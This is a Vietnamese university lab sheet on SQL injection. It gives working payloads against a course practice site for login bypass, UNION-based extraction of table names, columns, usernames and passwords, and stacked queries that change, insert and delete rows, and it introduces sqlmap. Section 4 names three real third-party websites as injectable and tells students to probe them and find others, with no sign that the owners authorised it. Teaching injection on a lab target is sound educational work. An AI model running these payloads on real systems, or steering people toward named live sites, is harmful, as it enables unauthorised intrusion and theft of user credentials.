Cơ sở ATTT -INT1472 - Bài thực hành số 2: Tấn công chèn mã SQL

A. Ôn tập lý thuyết

- Lỗi chèn mã SQL trong các ứng dụng web và nguyên nhân.
- Các kỹ thuật tấn công chèn mã SQL trong ứng dụng web (vượt qua khâu xác thực, đánh cắp dữ liệu, chèn, sửa, xóa dữ liệu, kiểm soát hệ thống).
- Các biện pháp khắc phục (kiểm tra dữ liệu kích thước, định dạng dữ liệu, tạo các bộ lọc, sử dụng stored procs,…).

B. Nội dung thực hành

1. Vượt qua khâu xác thực người dùng

- Mở trang có lỗi chèn mã SQL: http://www.infosecptit.com/code/login_error.asp
- Xem kỹ mã trang: http://www.infosecptit.com/code/login_error.txt
- Nhập dữ liệu cho phép đăng nhập mà không cần có đủ username và password:
  + Đăng nhập tự do: nhập *aaaa' or 1=1 --* → username và chuỗi bất kỳ → password. Kết quả đăng nhập thành công với tài khoản người dùng đầu tiên trong danh sách.
  + Đăng nhập vào tài khoản một người dùng chỉ định: nhập *david' --* → username và chuỗi bất kỳ → password. Kết quả đăng nhập thành công với tài khoản người dùng *david* nếu tồn tại tài khoản với user này. Thay tên người *david* bằng tên một người dùng khác, nếu tồn tại sẽ đăng nhập thành công với người dùng đó.
  + Phân tích câu lệnh SQL được thực hiện (hiển thị trên trang) và giải thích kết quả có được.

2. Trích xuất dữ liệu từ CSDL

Các lệnh/dữ liệu thử nghiệm được nhập vào ô "Search term" của trang search_error.asp. Xem kỹ mã của trang này trong file search_error.txt. Việc đầu tiên cần làm là tìm số trường trong câu truy vấn của trang, trên cơ sở đó sử dụng câu lệnh UNION SELECT để ghép dữ liệu muốn trích xuất vào câu truy vấn gốc của trang. Số trường trong UNION SELECT phải bằng số trường trong câu truy vấn gốc của trang. Đồng thời, kiểu dữ liệu mỗi trường trong UNION SELECT phải tương thích với kiểu dữ liệu của trường tương ứng trong câu truy vấn gốc của trang.

- Tìm số trường trong câu truy vấn của trang:
  + sam%' order by <number>; -- , trong đó <number> là số thứ tự của trường. Lần lượt thử với 1, 2, 3,… và quan sát kết quả cho đến khi trang không hiển thị kết quả. <number> ở lần thử cuối cho kết quả đúng là số trường có trong câu truy vấn.
  + sam%' union select <danh sách trường thử>;-- , trong đó <danh sách trường thử> có thể là 1, 2, 3,… hoặc '1', '2', '3',… Tăng dần số trường cho đến khi trang không hiển thị kết quả hoặc báo lỗi thực hiện. <danh sách trường thử> ở lần thử cuối cho kết quả đúng cho biết số trường có trong câu truy vấn.
- Hiển thị thông tin hệ quản trị CSDL và hệ điều hành:
  + ssss' union select '', @@version, 0 --
- Trích xuất danh sách các bảng của CSDL:
  + ssss' union select '', name, 0 from sys.objects where type='u'; --
- Trích xuất danh sách các trường của một bảng:
  + ssss' union select '', a.name, 0 from sys.columns a inner join sys.objects b on a.object_id = b.object_id where b.name='tbl_users'; --

+ Thay tên bảng tbl_users bằng bảng khác có được ở mục trên để hiển thị danh sách các trường của bảng đó.

- Trích xuất dữ liệu bảng:
  + ssss' union select full_name, username+'--'+password, 0 from tbl_users;--
  + Thay tên bảng và danh sách trường để trích xuất lữ liệu của các bảng khác có được ở mục trên.
  + Trích xuất 1 bản ghi gồm tất cả các trường từ bảng students có mã sinh viên trùng với mã sv của mình và hiển thị toàn bộ thông tin trích xuất được lên màn hình.
  + Lưu ý, nếu số trường của câu truy vấn mới nhiều hơn số trường trong câu truy vấn gốc thì cần ghép các trường bằng phép nối xâu để số trường trong UNION SELECT phải bằng số trường trong câu truy vấn gốc của trang và kiểu dữ liệu mỗi trường trong UNION SELECT phải tương thích với kiểu dữ liệu của trường tương ứng trong câu truy vấn gốc của trang.

3. Thêm, sửa, xóa dữ liệu

- Thử thực hiện các lệnh thêm, sửa, xóa dữ liệu trên trang search_error.asp:
  + samsung'; update tbl_users set password='test' where username='david'; --
  + samsung'; insert into tbl_users (full_name, username, password) values ('Tom Cruise','tom','abc123'); --
  + samsung'; delete from tbl_users where username = 'tom';--
  + Thử với các câu lệnh khác

4. Khảo sát tối thiểu 3 trang web trên mạng có lỗi chèn mã SQL (không sửa/xóa dữ liệu). Sv có thể tìm các trang khác.

http://tapiocafeedfood.com
https://www.vinahands.com
http://www.nesiyaholidays.com

5. Sử dụng công cụ rà quét lỗi và tấn công chèn mã SQL - SQLMap

- SQLMap là công cụ rất mạnh cho phép tìm lỗi, tấn công chèn mã SQL và kiểm soát CSDL. SQLMap được viết bằng python và hỗ trợ hầu hết các hệ quản trị CSDL thông dụng, nhưng MS-SQL, MySQL, Oracle,…
- SQLMap có sẵn trong Kali Linux. SQLMap cũng có thể được tải từ http://sqlmap.org.
- SQLMap chỉ hỗ trợ giao diện dòng lệnh. Cú pháp thực hiện SQLMap:

  sqlmap [options] : cú pháp tổng quát. Options là các tùy chọn với các tham số kèm theo.

  sqlmap –u URL : kiểm tra lỗi chèn mã SQL của trang web có URL.

6. Yêu cầu cần đạt

1. Thành thạo các dạng tấn công chèn mã SQL
2. Chụp ảnh màn hình kết quả của từng yêu cầu trong các mục 1-5 lưu vào file word (chỉ cắt phần kết quả chính).